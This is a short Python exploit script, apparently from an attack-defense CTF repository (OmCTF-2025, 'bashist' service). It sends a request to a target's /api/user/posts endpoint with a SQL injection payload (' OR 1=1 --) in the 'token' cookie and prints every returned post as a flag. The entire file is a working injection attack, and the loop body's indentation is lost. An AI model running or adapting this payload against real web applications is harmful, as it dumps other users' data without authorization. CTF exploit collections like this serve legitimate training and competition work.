Files
validator/OmCTF-2025/sploits/bashist/sploit2.py

12 lines
247 B
Python

import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)